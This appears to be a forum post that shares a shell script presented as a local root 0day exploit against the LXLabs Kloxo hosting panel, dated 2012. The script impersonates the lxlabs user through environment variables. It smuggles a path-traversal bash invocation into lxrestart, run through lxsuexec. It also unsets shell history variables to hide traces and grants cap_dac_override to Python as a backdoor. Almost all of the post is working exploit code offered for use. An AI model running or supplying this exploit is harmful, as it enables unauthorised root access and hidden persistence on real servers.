_Mike74
Code:
#!/bin/sh
# LXLabs Kloxo lxsuexec+lxrestart local root 0day
# 2012 Aurora
# requires you to be the apache user
LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`
export MUID=$LXLABS
export GID=$LXLABS
export TARGET=/bin/sh
export CHECK_GID=0
export NON_RESIDENT=1
cat <<EOF
Somewhere out there in the vast nothingness of space...
Somewhere far away in space and time..
Staring upwards at the gleaming stars in the obsidian sky
We're marooned on a small island,
In an endless sea,
Confined to a tiny spit of sand,
Unable to escape
But tonight...
On this small planet...
On Earth...
We're going to rock civilization.
EOF
echo "unset HISTFILE HISTSAVE PROMPT_COMMAND TMOUT" >> /tmp/w00trc
echo 'setcap cap_dac_override=+ep /usr/bin/python' >> /tmp/w00trc
echo "/usr/sbin/lxrestart '../../../bin/bash --init-file /tmp/w00trc #' " > /tmp/lol
lxsuexec /tmp/lol # get root!